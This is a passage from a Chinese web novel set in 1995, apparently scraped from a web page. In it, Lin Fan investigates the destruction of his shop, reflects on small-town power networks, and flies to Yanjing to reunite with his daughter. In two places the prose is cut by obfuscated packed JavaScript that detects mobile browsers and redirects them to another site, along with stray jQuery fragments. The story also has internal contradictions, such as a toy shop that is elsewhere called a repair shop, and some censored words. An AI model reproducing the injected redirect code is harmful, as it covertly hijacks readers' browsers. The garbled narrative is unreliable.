在这样的环境下,任何一丝情绪的失控都可能延误关键时机,甚至让自己陷入更加被动的局面。 极致的危机感如同冰冷的河水,瞬间浇灭了他心中的怒火,催生出极致的冷静。 他深吸一口气,缓缓闭上眼睛,再睁开时,眼中已看不到丝毫的慌乱,只剩下沉着和坚定。 他像一名刚刚经历了一场惨烈遭遇战、正在仔细勘察战场的指挥官,目光锐利地扫视着店铺内外的每一个角落,大脑则在飞速运转,将眼前的残破景象转化为一道道需要立刻执行的指令。 他迈步走进店铺,脚下的碎玻璃发出“咯吱咯吱”的声响,每一步都像是踩在他的心上。 店铺里,原本摆放着各式各样儿童玩具和衣物的货架东倒西歪,有些木质货架还残留着被火烧过的黑色印记,边缘处甚至还能看到未完全熄灭的火星,冒着淡淡的青烟; 孩子们喜欢的毛绒小熊被烧得面目全非,黑色的焦炭附着在毛绒上,原本可爱的模样荡然无存,静静地掉落在满是灰尘和碎渣的地面上。 他小心翼翼地避开地上的障碍物,走到店铺中间,然后示意一直站在门口、神情同样凝重的王猛靠近。 两人一起退到店铺里相对完整的角落—— 那里曾经是店铺的收银台,白色的大理石台面如今布满了划痕和黑色的污渍,旁边只剩下一个破旧的铁盒子,盒子的锁已经被撬开,里面的零钱早已不翼而飞。 林凡的声音压得极低,几乎是贴着王猛的耳朵说话,确保每一个音节都精准地落入对方耳中,不容半分外泄。 毕竟在这小县城里,人际关系复杂,人多口杂,到处都是耳目,稍有不慎,消息就可能像长了翅膀一样传到对手耳朵里,到时候一切努力都将前功尽弃。 “猛子,有件事,你务必私下打听,要快,更要稳妥。” 他目光锐利,如同鹰隼一般扫视着周围,生怕错过任何蛛丝马迹,语速平稳却带着不容置疑的坚定, “黑皮那伙人进去之后,探监的都是些什么人? 是他那些平日里跟在身后、只会耀武扬威的散兵游勇的兄弟,还是…… 有其他我们不知道的‘大人物’在背后关切? 你也知道,黑皮在这县城里混了这么多年,靠着敲诈勒索、强买强卖起家,没少跟人结仇,但也肯定有人因为利益关系跟他勾结在一起,形成了一张无形的利益网。 现在他们内部是树倒猢狲散,各自只顾着自保,还是有人在暗中串联,积蓄力量准备反扑? 另外,重点盯住钱老西,这条老狐狸嗅觉最灵,为人又阴险狡诈,之前就总盯着咱们店铺的生意,觉得咱们抢了他的客源, 没少在背后使绊子,要么散播谣言说咱们的商品质量有问题,要么就故意压低价格跟咱们恶性竞争。 你去查查,看看他最近有没有在我们店附近异常转悠? 或者,跟什么陌生的、看起来有来头的人接触,打听过什么消息? 尤其是关于咱们店铺后续打算的消息,一定要重点关注。” 这番指令,条理清晰,指向明确,远不止于简单的信息收集。 它旨在精准测绘出事件发生后,县城这张无形权力网络上每一根丝线的震颤,评估潜在风险的等级与方向,从而判断这究竟是一次孤立的恶的事件,还是一场更大风暴的前奏。 要知道,在1995年的小县城,商业生态相对封闭,各个势力盘根错节,就像一张密密麻麻的蜘蛛网,牵一发而动全身。 本地的商家、地痞流氓、甚至一些手握权力的官员,都在这个网络中有着千丝万缕的联系,共同维持着一种脆弱的平衡。 王猛跟随林凡多年,从林凡刚开始在街边摆摊卖小玩具,每天起早贪黑,受尽风吹日晒,到后来好不容易攒够了钱,开起这家“笑笑宝贝屋”, 他一直是林凡最得力的帮手,两人不仅是上下级,更是情同手足的兄弟,林凡的心思,王猛大多都能领会。 王猛原本还有些沉重的神情,在听到林凡的指令后,立刻变得无比凝重,他知道这件事关系重大,容不得半点马虎。 他重重点头,眼中闪烁着被绝对信任所点燃的忠诚与决心,声音低沉却有力: “明白!凡子,你放心,这事儿交给我! 就算把地皮掀开三层,我也保证把底细摸得清清楚楚,绝不会让你失望!” 说完,他便转身快步离开了,脚步急促却稳健,仿佛每一步都承载着重要的使命,生怕耽误了片刻时间。 王猛的行动力从未让人失望。 凭借其在小城底层社会摸爬滚打多年积累的、盘根错节却又极其有效的人脉网络,上到派出所的辅警, 下到街边的乞丐,他都能说上几句话,相关信息很快便如同溪流汇入大海一般,源源不断地向他涌来,逐渐拼凑出一幅耐人寻味的动态图景。 在那个没有手机、没有网络的年代,获取信息全靠“腿勤嘴甜”,王猛先是骑着他那辆半旧的自行车,穿梭在小城的大街小巷,找到了在看守所附近开小卖部的张婶。 张婶在那一带做了十几年生意,店铺就开在看守所对面,每天都能看到来来往往的人,见过各种各样人, 对探监的情况可以说是了如指掌,谁家有人进去了,谁来探监了,探监的人带了什么东西,她都一清二楚。 王猛特意买了几斤张婶最喜欢吃的苹果,然后装作不经意地跟张婶聊起天来。 在寒暄了几句家常后,王猛才慢慢把话题引到黑皮身上。张婶左右看了看,见周围没人,才压低声音,悄悄告诉王猛: “猛子啊,你说的那个黑皮,可真是个惹祸精。他那伙人进去之后,情况有点不对劲啊。 以往黑皮手下的那些小弟,每天都跟在黑皮后面耀武扬威,在街面上横行霸道,黑皮出事后,他们却像消失了一样,连个人影都见不到。 这几天只有几个无足轻重、几乎接触不到核心机密的外围小角色前去探视,而且每次都是匆匆而来,匆匆而去,在接待室里待不上十分钟就走了, 连话都不敢多说几句,看起来慌慌张张的,好像怕被人认出来似的。” 王猛听到这里,心中不禁起了疑,继续追问道: “张婶,那有没有什么身份不一般的人去探监啊? 比如穿着讲究,一看就不是普通人的那种。” 张婶皱了皱眉,仔细回想了一下,然后摇了摇头说: “没有,我天天在这儿盯着,要是有那种人,我肯定能注意到。 之前大家都猜测黑皮背后有‘保护伞’,可这次出事后,那些所谓的‘保护伞’势力,完全蛰伏起来了,一点马脚都没露,真是奇怪得很。” 这种超出常理的沉寂,反而像暴风雨来临前的低气压,让人感到窒息与不安,王猛心中的疑虑更重了。 离开张婶的小卖部,王猛又马不停蹄地找到了经常在钱老西店铺附近拉客的三轮车夫老李。 老李今年五十多岁,在小城拉三轮车已经二十多年了,每天骑着三轮车在街头巷尾穿梭,见过的人和事数不胜数,是小城里有名的“消息通”。 王猛找到老李时,他正坐在三轮车旁的小马扎上抽烟,看到王猛过来,连忙热情地打招呼。 王猛也不绕圈子,直接说明了自己的来意。 老李听后,脸上的笑容收敛了起来,压低声音对王猛说: “猛子,你还真问对人了。那个钱老西,自从你们‘笑笑宝贝屋’出事之后,可活跃得很啊。 他不仅频繁出现在你们店铺相邻的街区,有时候还会特意绕到你们店铺门口,远远地张望,不知道在打什么主意。 更重要的是,我最近好几次看到他跟几名衣着光鲜、操着外地口音的商人模样的人物在街角的茶馆里密谈。 那些外地人穿着笔挺的西装,头发梳得一丝不苟,手里提着精致的公文包,一看就不是咱们小县城里的人,气质和打扮都跟咱们这儿的人不一样。” 王猛连忙追问: “老李,你有没有听到他们在谈什么啊?” 老李叹了口气说: “他们谈话的时候特别小心,声音压得很低,而且每次都选在茶馆里最角落、最隐蔽的位置,我也只能偶尔听到一两句。 有一次,我刚好从他们旁边经过,隐约听到他们提到‘投资’‘收购’‘市场份额’之类的词语,但具体是关于什么的投资,收购什么东西,我就听得不太清楚了。 不过,我看到他们好几次对着你们‘笑笑宝贝屋’的方向指指点点,嘴巴不停蠕动,表情还很严肃,看起来像是在冷静地评估这片市场‘真空’地带所能带来的潜在利益。” 王猛把老李说的每一句话都记在心里,道谢之后,又去联系了其他几个信得过的朋友,收集了更多关于钱老西和黑皮团伙的信息,才匆匆赶回林凡身边,把收集到的所有信息一五一十地汇报给林凡。 这些碎片化的信息,如同散落的拼图,在林凡脑中迅速组合,印证并深化了他最初的判断: 这场针对“笑笑宝贝屋”的劫难,绝非表面看上去那么简单,它并非一次孤立的、源于底层混混泄愤的随机事件,其背后必然牵扯着小县城错综复杂的利益格局与地盘划分。 这里的人际关系,正如**先生在《乡土中国》中提出的“差序格局”理论所描述的那样,是以自我为中心,像石子投入水中的波纹,一圈圈推延开去,形成一个个相互交错的圈子。 在这个小县城里,每个人都生活在自己的“波纹圈”里,圈子与圈子之间相互交织,形成了复杂的人际关系网络。 本地的商家之间有着竞争与合作的关系,商家与地痞流氓之间有着被敲诈与妥协的关系, 地痞流氓与某些官员之间又有着利益输送的关系,这些关系盘根错节,共同构成了小县城的权力与利益网络。 林凡此前就安稳地处于自己那个以店铺和手艺为核心、相对稳定但范围狭小的“波纹圈”内。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774864|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>他凭借着优质的商品—— 所有玩具和衣物都经过严格挑选,确保质量安全,从不销售劣质产品;以及诚信的经营—— 童叟无欺,价格公道,遇到顾客有问题,总是耐心解决,赢得了不少顾客的信任,店铺生意也蒸蒸日上。 每天店铺开门后,都有络绎不绝的顾客前来购物,周末和节假日更是人满为患,有时候甚至需要排队才能进店。 然而,当外部资本与力量(以苏瑾瑜及其所代表的势力为象征)开始介入这片相对封闭的生态时,原有的、基于人情和地缘的平衡便被无情打破。 苏瑾瑜作为苏家集团董事长,年仅三十岁就凭借出色的商业头脑和果断的决策能力,将苏家集团的业务从原本的房地产领域拓展到了零售、餐饮等多个领域,在商界有着不小的影响力。 苏家背景显赫,苏老太爷苏定方是国家七大**退休,在政界有着极高的威望; 姥爷苏振邦是军部高层领导,手握重权; 大哥苏瑾华是华北军区副司令,掌管着一方军事力量; 二哥苏瑾国是燕京****,在地方政务中有着举足轻重的地位。 这样的家庭背景让苏家在政商两界都有着深厚的人脉和资源,能够轻松获取各种政策信息和商业机会。 苏瑾瑜此次介入小县城的市场,无疑像一颗巨石投入平静的湖面,激起了层层涟漪。 地头蛇(如黑皮及其背后可能的势力)一直以来都在小县城里垄断着某些行业,获取着巨额的非法利益,他们不允许任何人打破这种垄断局面; 而过江龙(如钱老西正在接触的外地资本,乃至苏瑾瑜本身)则凭借着强大的资金实力和先进的经营理念,想要在小县城的市场中分一杯羹,甚至占据主导地位。 双方的利益诉求存在根本冲突,矛盾便会骤然激化。 “笑笑宝贝屋”的悲剧,正是这种结构性冲突的一次集中而剧烈的爆发。 类似的情况在当时的很多小县城都曾发生过,比如邻县就有一家经营了二十多年的老牌百货商店——“利民百货”。 这家百货商店在邻县有着很高的知名度,商品种类齐全,价格实惠,深受当地居民的喜爱,生意一直非常红火。 然而,随着改革开放的深入,一家外来的大型超市—— “惠民超市”入驻邻县。 这家超市凭借着强大的资金实力,大规模采购商品,降低了进货成本,因此商品价格比“利民百货”更低; 同时,超市还引入了先进的经营模式,提供了更加舒适的购物环境和更优质的服务。 这使得“利民百货”原本稳定的生意受到了严重冲击,顾客数量急剧减少,营业额大幅下降。 就在“利民百货”苦苦支撑的时候,又遭遇了不明人士的破坏。 一天晚上,超市的仓库突然起火,大量商品被烧毁,损失惨重; 而且超市的门窗也被人恶意破坏,玻璃被打碎,货架被推倒。 经过调查,警方虽然怀疑是“惠民超市”背后指使,但由于没有确凿的证据,最终也不了了之。 “利民百货”在经历了这场灾难后,再也无法支撑下去,最终被迫关门大吉。 很多老员工在离开的时候,都忍不住流下了眼泪,毕竟这家百货商店承载了他们太多的回忆和心血。 “笑笑宝贝屋”的遭遇,与“利民百货”何其相似,这更加坚定了林凡的判断。 为了进一步确认自己的判断,林凡还特意去了一趟县城的档案馆。档案馆位于县城的中心地带,是一座古朴的两层小楼,里面保存着大量的历史资料和文献。 林凡在档案馆工作人员的帮助下,查阅了近年来小县城的商业发展资料。 这些资料详细记录了小县城商业的发展历程、商家的数量和规模、商品的种类和销售情况等。 资料显示,在改革开放初期,小县城的商业主要以本地的小商贩和小店铺为主,商品种类相对单一,市场规模较小。 随着改革开放的不断深入,国家出台了一系列鼓励商业发展的政策,越来越多的外来资本开始涌入县域市场。 这些外来资本主要集中在零售、餐饮、房地产等领域,他们凭借着强大的资金实力和先进的经营理念,迅速在小县城站稳了脚跟,并不断扩大市场份额。 以零售行业为例,在1990年的时候,小县城里只有几家本地的百货商店和杂货铺,而到了1995年, 已经有三家外来的大型超市入驻,还有十几家外来的连锁便利店分布在县城的各个角落。 这些外来商家的入驻,打破了原本由本地商家主导的市场格局,使得本地商家面临着前所未有的竞争压力。 资料中还提到,由此引发的利益冲突也日益增多。 有些外来资本为了迅速抢占市场份额,采取了不正当的竞争手段,比如恶意压低价格、散布谣言诋毁本地商家、甚至采取暴力手段破坏本地商家的经营场所等。 而本地商家为了保住自己的利益,也不惜与外来资本展开激烈的竞争,有些本地商家联合起来,共同对抗外来资本; 有些本地商家则选择与外来资本合作,寻求新的发展机遇; 还有些本地商家为了生存,不惜动用一些不正当的手段,比如贿赂官员、勾结地痞流氓等。 林凡看着这些资料,眉头紧锁,心中的愤怒和无奈愈发强烈。 他更加坚定了自己的想法,这场灾难绝不是偶然,而是外来资本与本地势力之间利益冲突的必然结果。 “笑笑宝贝屋”只不过是这场利益博弈中的一个牺牲品。 将所有后续事宜对王猛细细叮嘱、安排妥当后,林凡最后深深地环视了一眼 这间曾经承载了他无数个不眠之夜、倾注了他对家庭未来全部憧憬、如今却只剩下断壁残垣的店铺。 第111章:深刻思辨与未来蓝图的勾勒 1995年元月,北方的寒风像无数把小刀子,刮在林凡老家小县城的街道上。 前往省城机场的道路,在车轮下不断延伸,路面坑洼不平,车子时不时颠簸一下,仿佛在诉说着这段旅程的艰难。 车厢内,弥漫着一种大战过后特有的、混合着疲惫与高度警觉的寂静,空气仿佛都凝固了,只有发动机单调的轰鸣声在耳边回响。 苏瑾瑜靠在副驾驶的真皮座椅上,那座椅是进口材质,在1995年的小县城周边,这样的配置堪称奢华。 他修长的手指翻阅着一叠厚厚的文件,纸张边缘被精心裁剪过,没有一丝**糙。 那是他动用了苏家集团专业团队,为林凡精心筛选的、位于市核心商圈或新兴潜力区域的几处优质铺面的详细评估报告。 报告里不仅有精准的区位优势分析,比如核心商圈那处铺面,紧邻当时市里最繁华的百货大楼,每天的人流量经过专业统计,峰值时能达到上万人次; 还有细致的人流分析,区分了不同时段、不同年龄段的人群分布;竞争环境分析更是深入,列举了周边已有的同类店铺数量、经营状况、价格策略等; 未来升值潜力预测则参考了近五年市区商业地产的发展数据,还结合了市政府最新公布的城市规划方案,有理有据。 林凡则将头微微偏向车窗,目光投向窗外。 飞速**的秋日田野里,庄稼早已收割完毕,只剩下光秃秃的土地,偶尔能看到几株枯黄的野草在寒风中摇曳。 村庄里的房屋大多是低矮的平房,屋顶上覆盖着一层薄薄的积雪,烟囱里冒出的炊烟袅袅升起,在冷空气中很快消散。 远处的远山被一层薄雾笼罩着,轮廓模糊不清。这一切,如同一幅正在被急速卷起的、属于他过去三十年人生的漫长画卷,每一个场景都清晰地刻在他的脑海里。 他的大脑,此刻正像一台高效运转的超级计算机,将县城的困局—— 前几天,他经营的维修店被当地的地痞黑皮带人砸得稀烂,店里的设备损坏严重,零件散落一地,连墙上挂着的营业执照都被撕得粉碎,黑皮还放话让他滚出县城; 苏瑾瑜带来的契机——这些优质铺面背后蕴含的商业机遇,一旦拿下,很可能彻底改变他的人生轨迹; 家庭的责任—— 妻子苏晚晴还在燕京养病,之前在上海小姑的同济医院好的差不多了,需要长期康复治疗,女儿笑笑才五岁,正是需要父亲陪伴的时候; 以及对未来的野心——他不甘心一辈子困在小县城,渴望能做出一番大事业,让家人过上更好的生活,所有这些变量一一输入,进行着一场冷静而深刻的战略思辨。 这场突如其来的、近乎毁灭性的打击,如同一盆掺杂着锋利冰碴的北极海水,不仅浇灭了他心中最后一丝对于“小城安逸”的幻想, 更让他对“权力”、“安全”与“规则”这些宏大概念,有了刻骨铭心、源自切肤之痛的理解。 他清晰地记得,当时黑皮带人冲进店里时,那嚣张跋扈的神情,嘴里骂骂咧咧地说着“在这县城里,老子说了算”, 旁边的邻居们虽然都在门口围观,却没人敢上前阻拦,甚至连报警后,警察也是过了很久才慢悠悠地赶到, 来了之后只是简单地询问了几句,做了个笔录就走了,对黑皮的恶行并没有采取实质性的处罚措施。 他隐约触摸到,在这个看似由人情与关系主导的小社会里,实则运行着一套更为冷酷的潜在法则。 经济学家达龙??阿西莫格鲁与詹姆斯??A??罗宾逊在其巨著《国家为什么会失败》中,曾深刻阐释了“包容性经济制度”与“汲取性经济制度”对于一个国家长远发展的决定性影响。 “包容性经济制度”鼓励创新、保护私有财产、为所有人提供公平的竞争机会,能促进国家经济的持续增长; 而“汲取性经济制度”则是少数人利用权力掠夺多数人的财富,压制创新,最终会导致国家经济停滞甚至衰退。 将这一理论微缩到小县城这个具体生态中,林凡恍然惊觉,自己所面对的,正是一种隐形的、“汲取性”的潜规则网络。 黑皮之流,不过是这个网络末端最粗暴、最可见的执行工具。 就像之前,县城里有一家新开的超市,因为没有给当地的某个“大哥”交保护费,不到一个月就被各种理由刁难,最后不得不关门大吉。 要想在这样的环境中保护自己和家人,不被吞噬或压榨,只有两条路可走: 要么彻底放弃原则,融入并成为这个网络中的一个节点,就像有些人为了生意,主动去巴结那些有权有势的人,甚至参与到一些不正当的交易中(这完全违背了他的良知与底线); 要么,就必须让自己足够强大,强大到能够建立自己的规则体系,或者,寻找到一个更高级、更包容、更讲规则的秩序作为依托。 而苏瑾瑜和他背后的苏家,无疑代表着后者,代表着一种能够穿透地方性黑暗的、更高维度的力量。 苏家老太爷苏定方是国家七大**退休,笑笑姥爷苏振邦是军部高层领导,笑笑大舅苏瑾华是华北军区副司令, 二舅苏瑾国是燕京****,这样的家庭背景,在当时的中国,拥有着常人难以想象的影响力。 他的思绪,不由自主地飘向了远在燕京的妻子晚晴。 脑海中浮现出她因伤病而略显苍白的脸庞,记得上次去上海看她时,她正在康复中心进行康复训练,医生说她的腿部恢复情况不太理想,需要更加刻苦地训练。 她咬着牙,额头上布满了汗珠,每一个动作都显得那么艰难,却从未放弃过,训练服都被汗水浸透了,紧紧地贴在身上,那坚韧的面容深深烙印在林凡的心里。 耳边回响起女儿笑笑那银铃般清脆的笑声,上次打电话时,笑笑在电话那头奶声奶气地说:“爸爸,我好想你呀,你什么时候回来陪我玩呀?” 那笑声能涤荡一切阴霾,还有她对自己全然的、毫无保留的依赖,每次视频,笑笑都会把自己画的画拿给林凡看,兴奋地讲解画里的内容。 “家”这个字眼,此刻在他心中,不再仅仅是一个提供温情与休憩的港湾,而是他必须用实实在在的实力、用坚不可摧的堡垒去守护的核心资产。 人本主义心理学家亚伯拉罕??马斯洛提出的需求层次理论,将人类的需求从低到高分为生理需求、安全需求、归属与爱的需求、 尊重需求和自我实现需求五个层次,清晰地勾勒出个体成长的路径。 林凡意识到,自己的需求正经历着一场关键的跃迁—— 他已不再仅仅满足于生理需求(有饭吃、有地方住)与安全需求(家人身体健康、生活稳定)的基本满足, 他正在强烈地追求更高层级的“归属与爱的需求”(能更多地陪伴家人,让家人感受到自己的关爱),以及“尊重需求”(在社会上能赢得他人的尊重,不再被黑皮之流随意欺压) 乃至“自我实现需求”(实现自己的人生价值,做出一番事业)。 他渴望的,是能为家人提供绝对安全的环境,让妻子安心养病,让女儿在一个健康、安全的环境中成长; 是能赢得外界发自内心的尊重,无论是在商业领域还是在日常生活中; 是能最大限度地实现自己的人生价值,不辜负自己的努力和家人的期望。 至此,苏瑾瑜之前轻描淡写提及的市里铺面,在林凡的认知图谱中,已然完成了性质的蜕变。 它不再仅仅是一个能带来更多利润的商业机会,而是一个至关重要的“战略支点”。 借助这个支点,他将有望撬动多重目标: 其一,是资本的原始积累。将生意从县城升级到市区,意味着更广阔的市场。 市区的人口数量是县城的十几倍,潜在的客户群体更多; 更高的客单价,市区居民的收入水平和消费能力都比县城高,同样的维修服务,在市区能收取更高的费用; 更快的资金周转率,市区的商业活动更频繁,店铺的客流量更大,资金回笼速度更快,这是构筑一切力量的坚硬基石。 其二,是环境的升维转换。 市区拥有更健全的法治环境,相关的法律法规更加完善,执法力度也更大,像黑皮这样的地痞流氓很难有生存空间; 更透明的商业规则,市场竞争更加公平,企业的经营活动有法可依,减少了暗箱操作的可能性; 更规范的竞争秩序,同行之间的竞争更多是在产品质量、服务水平和价格上的良性竞争,能极大程度上减少“黑皮式”灰色风险的困扰。 其三,是情感距离的拉近。 地理上靠近燕京,从市区到燕京的距离比从县城到燕京近了很多,交通也更加便利,意味着他能更频繁地探望晚晴,跟进她的康复进展,每次去还能给她带一些她喜欢吃的东西; 也能更多地陪伴笑笑成长,不错过她人生中每一个重要的瞬间,比如她的生日、第一次上幼儿园、第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774865|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次拿到小红花等。 然而,在他的战略蓝图中,从未有过“放弃县城这间残破起点”的选项。 这里,是他的“根”,是他和妻子相识相恋的地方,他们第一次约会就是在维修店旁边的小公园里; 是他的“井冈山”,是他事业起步的地方,当初他凭着自己的理念,在这个小县城里开起了笑笑宝贝屋,一步步积累客户和口碑; 是他提醒自己“从哪里来”、不忘初心的精神图腾。 纵观国内外众多成功企业家的创业史,保留创业初期的艰苦记忆几乎成为一种普遍现象。 例如,华为创始人任正非至今仍强调“狼性文化”与危机意识,其创业初期在深圳民房里的艰辛, 十几个人挤在一间小房子里办公,晚上就睡在地板上,吃饭大多是泡面,始终是激励整个公司前进的精神财富。 林凡也心怀类似的构想。 他计划在未来,待一切稳定后,将这片废墟重新修缮。 或许,它不再作为主营的童装玩具店,而是可以转型为一个面向社区的小型儿童科普基地或技能培训点。 如果是儿童科普基地,就可以购置一些简单的科普器材,比如显微镜、望远镜、小型发电机等,聘请一些退休的教师来给孩子们上课,培养孩子们对科学的兴趣; 如果是技能培训点,就可以开设一些维修、电工、焊工等技能课程,帮助社区里的下岗工人和待业青年掌握一技之长,增加他们的就业机会。 然后交由值得信赖的王猛打理,王猛是他的搭档,两人一起在笑笑宝贝屋打拼了多年,王猛为人正直、踏实肯干,把店铺交给王猛,他很放心。 这既能为兄弟提供一份安稳长久的事业,让王猛不用再像以前那样跟着自己担惊受怕,也能为自己、乃至为后人,守住这份象征着奋斗起源的念想,实现一种对故乡的、可持续的反哺。 车子一路颠簸,终于抵达了省城机场。 1995年的省城机场,规模还比较小,候机大厅里人头攒动,大多是穿着西装革履的商人,还有一些背着行囊的旅客。 机场里没有现在这么多先进的设备,办理登机手续还是人工操作,广播里时不时传来航班信息的播报声,声音有些沙哑。 林凡和苏瑾瑜拿着机票和证件,排队办理了登机手续,通过了安检,来到了登机口等候。 没过多久,广播里传来了登机的通知。 林凡和苏瑾瑜随着人流登上了飞机,机舱内的空间不算宽敞,座位是蓝色的布艺材质。 他们找到自己的座位,林凡坐在靠窗的位置,苏瑾瑜坐在旁边。 当飞机在巨大的轰鸣声中挣脱地心引力,昂首冲上云霄时,林凡紧紧地握着拳头,感受着身体的超重感。 透过窗户往下看,脚下的县城以肉眼可见的速度急剧缩小,道路变成细线,像一条条银色的带子缠绕在大地上; 房屋化为微尘,密密麻麻地分布在地面上;最终融于广袤大地,成为一个几乎可以忽略不计的模糊点。 林凡靠在舒适的头等舱座椅上,缓缓闭上眼睛。 连日奔波积累的肉体疲惫,如同退潮后的海水,一阵阵侵袭着他的四肢百骸,他感觉眼皮越来越沉重。 然而,他的精神世界却如同被这场风暴彻底擦拭过的明镜,清晰、锐利、映照着未来的万千可能。 他在脑海中规划着到了市区后的第一步行动: 先去实地考察那几处铺面,和房东洽谈租赁事宜; 然后办理相关的营业执照和手续,招聘员工,采购设备; 同时,还要经常去燕京看望妻子和女儿,了解她们的生活和康复情况。 他深深地明白,返回燕京,绝非这场**的终点,恰恰相反,它是一场更为宏大、更为复杂、关乎命运转折的战役的起始号角。 在燕京,他将面临着更加激烈的市场竞争,要应对各种复杂的人际关系和商业规则; 要在照顾好家人的同时,努力拓展自己的事业版图。 而且,**黑皮背后的势力会不会善罢甘休,会不会追查到燕京来报复他; 也不知道苏家内部会不会有什么矛盾,会不会影响到他和苏瑾瑜的合作。 但无论前方有多少艰难险阻,他都已经做好了准备, 他要为了自己,为了家人,为了心中的梦想,勇敢地去拼搏,去奋斗。 飞机还在继续爬升,朝着燕京的方向飞去, 林凡的心中充满了坚定的信念,他知道,他的人生即将开启新的篇章。 第112章:温情港湾与暗流初现的归途 1995年元月,燕京国际机场的轰鸣声刺破寒冬,一架银色客机刚停稳,舱门开启的瞬间,寒风裹挟着大都市的喧嚣扑面而来,林凡攥紧公文包,指节因用力而泛白—— 他刚从老家那座连程控电话都寥寥无几的小县城赶来,此刻心中只有一个念头:快点见到女儿笑笑,可**,这场归家之旅,不仅有重逢的暖,更藏着未知的波。 数小时的航程在云海之上静谧流逝。 1995年的民航客机,还没有如今这般宽敞舒适,机舱内座椅间距紧凑,空气中混杂着淡淡的煤油味与乘客身上的烟草味。 林凡邻座是位去燕京出差的生意人,一路都在抱怨县城交通的不便,说从县城到市区的长途汽车颠簸了四个小时, 差点误了飞机,这让林凡愈发庆幸,能搭上飞机赶回燕京,已是当时极为便捷的选择。 当飞机带着巨大的气流声,平稳地降落在燕京国际机场宽阔的跑道上时,舷窗外,停机坪上为数不多的几架飞机旁, 地勤人员穿着厚重的棉服忙碌着,远处的航站楼虽不如后来宏伟,却也透着国际大都市的气派。 一种熟悉的、属于国际大都市的、混合着无数梦想、忙碌与钢铁气息的氛围,透过舱门扑面而来。 林凡随着人流走过廊桥,步伐不自觉地加快,公文包里还装着从老家带的土特产,是给笑笑和苏家亲人的,每一步都透着归心似箭的急切。 当他抬头望向接机口熙攘的人群时,目光瞬间便被那个他朝思暮想的小小身影牢牢锁住。 笑笑被姥姥秦淑慧稳稳地抱在怀里,站在等待人群的最前列,如同一个引人注目的焦点。 1995年的冬天格外冷,秦淑慧穿着一件深蓝色的呢子大衣,领口围着一条厚厚的羊绒围巾,将笑笑裹得严严实实。 小丫头穿着一身崭新的粉色公主裙,这是小舅苏瑾瑜特意托人从国外带回来的,在当时的燕京,这样款式新颖的裙子也十分少见。 白色的小皮鞋一尘不染,是大舅妈李芸在王府井百货买的,花了她半个月的工资。 笑笑不停地踮起脚尖,小脖子伸得老长,一双黑琉璃般纯净明亮的大眼睛,在川流不息的人群中焦急地、执着地搜寻着。 周围的人群大多穿着深色的冬装,有的举着写有名字的纸牌,有的在低声交谈,偶尔有孩子的哭闹声传来,却丝毫没有影响笑笑寻找爸爸的专注。 当她的视线终于与林凡疲惫却充满爱意的目光在空中交汇的刹那,整个小脸仿佛被瞬间注入了万丈光芒, 璀璨得令人心醉,那股喜悦瞬间感染了周围的人,旁边一位提着行李的大妈忍不住笑着说: “这孩子,见到爸爸可真高兴。” “爸爸——!” 那一声呼唤,清亮、雀跃,带着穿透一切疲惫与阴霾的魔力,如同天籁,响彻在接机大厅。 95年的机场大厅,没有如今的智能广播系统,只有工作人员拿着喇叭偶尔播报航班信息,笑笑这声呼喊,在略显嘈杂的环境中格外清晰。 笑笑在秦淑慧的怀里用力一挣,秦淑慧怕她摔着,连忙松了松手,小家伙小脚刚一沾地,便像一只挣脱了所有束缚的快乐小鸟, 挥舞着藕节般的小胳膊,裙裾飘飞,不顾一切地朝着林凡飞奔而来。 她跑过的地方,引得路人纷纷侧目,有人停下脚步,看着这温馨的一幕,脸上露出会心的笑容。 林凡立刻蹲下身,最大限度地张开双臂,以一个全然接纳的姿态,将这颗满载着思念与爱意、热乎乎软绵绵的“小炮弹”牢牢地、稳稳地接在了怀中。 他能清晰地感受到笑笑身上传来的温热,还有那股熟悉的奶香味,混杂着秦淑慧身上淡淡的雪花膏味道。 下一秒,笑笑的小胳膊就像是最柔韧也最坚定的藤蔓,瞬间紧紧缠绕住他的脖颈,小脸深深埋进他因奔波而略带风尘的颈窝里,带着浓浓哭腔的声音闷闷地、委屈地传来: “爸爸!你终于回来了! 笑笑每天都数着日历等你!你身上…… 有药和医院的味道,不好闻……但是笑笑还是好想好想你!” 原来,林凡在老家时,为了处理和黑皮和蟑螂的**,不小心受了伤,在县城医院住院时沾上了药味。 1995年的县城医院,医疗条件有限,药品的味道格外浓重,即便他洗了好几遍衣服,那股味道还是隐约存在。 这一刻,所有关于商场博弈的算计——在老家,他为了保住小店,与当地一些势力周旋,整夜整夜地思考对策; 所有关于未来规划的宏图——他想着如何借助苏家的资源,把生意做大,让家人过上更好的生活; 所有被迫练就的坚忍与盔甲,都在女儿这毫无修饰、纯粹至极的思念与依赖面前,轰然瓦解,碎成齑粉。 林凡用尽全身力气,紧紧抱着怀里这具散发着奶香和温热的小小身体,感受着她强劲有力的心跳,感受着她几乎要嵌入自己骨血里的拥抱力度,眼眶在一瞬间不受控制地湿热起来。 他低下头,将脸颊深深埋进女儿柔软、带着甜香的发丝里,声音因强烈的情绪而哽咽,却又蕴含着前所未有的坚定: “爸爸回来了,宝贝。对不起,是爸爸不好,让笑笑等了这么久。” 他亲吻着女儿的头发,那柔软的触感让他心中充满了愧疚与疼爱, “爸爸向你保证,以后……再也不会离开笑笑这么久了。” 他在心里暗下决心,这次回燕京后,一定要调整工作安排,多抽出时间陪伴女儿,1995年,虽然事业刚刚起步,但家人永远是他最坚实的后盾。 